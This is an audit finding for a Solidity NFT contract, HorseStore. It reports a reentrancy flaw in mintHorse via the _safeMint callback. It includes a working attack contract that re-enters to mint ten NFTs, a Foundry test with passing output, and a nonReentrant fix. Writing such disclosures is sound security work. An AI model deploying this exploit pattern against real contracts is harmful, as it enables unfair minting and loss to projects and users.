Summary
mintHorse uses _safeMint which is prone to reentrancy.
Vulnerability Details
mintHorse function in HorseStore.sol implements the _safeMint for minting an nft. This is essential to check if receiver accepts the token or not.
But this has callbacks. Malicious contract with onERC721Received callback can re-enter to mint more nft's within same transaction.
POC
Create a contract Attack.sol and add in src folder
pragma solidity 0.8.20;
import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import {HorseStore} from "./HorseStore.sol";
contract Attack is IERC721Receiver {
HorseStore public nft;
address public owner;
error UnAuthourized();
modifier onlyOwner {
if(msg.sender != owner){
revert UnAuthourized();
}
_;
}
constructor (address _nft, address _owner) {
nft = HorseStore(_nft);
owner = _owner;
}
function mintHorse() external onlyOwner {
nft.mintHorse();
}
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external override returns (bytes4){
if(nft.balanceOf(address(this)) < 10){
nft.mintHorse();
return IERC721Receiver.onERC721Received.selector;
} else
return IERC721Receiver.onERC721Received.selector;
}
function safeTransfer(address from, address to, uint256 id) external onlyOwner {
nft.safeTransferFrom(from, to, id);
}
}
then add following test in Base_Test.t.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import {HorseStore} from "../src/HorseStore.sol";
+ import {Attack} from "../src/attack.sol";
import {Test, console2} from "forge-std/Test.sol";
abstract contract Base_Test is Test {
HorseStore horseStore;
+ Attack attack;
+ address public attacker = makeAddr("attacker");
address user = makeAddr("user");
string public constant NFT_NAME = "HorseStore";
string public constant NFT_SYMBOL = "HS";
function setUp() public virtual {
horseStore = new HorseStore();
+ vm.prank(attacker);
+ attack = new Attack(address(horseStore), attacker);
}
function testName() public {
string memory name = horseStore.name();
assertEq(name, NFT_NAME);
}
/// existing code
function testReentrancy () public {
console2.log("Attack contract balances before attack", horseStore.balanceOf(address(attack)));
vm.startPrank(attacker);
attack.mintHorse();
console2.log("Attack contract balance after attack", horseStore.balanceOf(address(attack)));
}
/// existing code
run following command in your terminal forge test --mt testReentrancy() , it will show following results
Running 1 test for test/HorseStoreHuff.t.sol:HorseStoreHuff
[PASS] testReentrancy() (gas: 1187536)
Logs:
Attack contract balances before attack 0
Attack contract balance after attack 10
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.24ms
Impact
Unfair advantage to mint target number of horse nft's.
Tools Used
Manual Review, Foundry
Recommendations
Use a nonReentrant modifier to protect the mintHorse function from reentrancy.
in existing HorseStore.sol add following lines
///existing code
+ import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
/// existing code
/*
* @notice allows anyone to mint their own horse NFT.
*/
function mintHorse() external
+ nonReentrant
{
_safeMint(msg.sender, totalSupply());
}
/// existing code
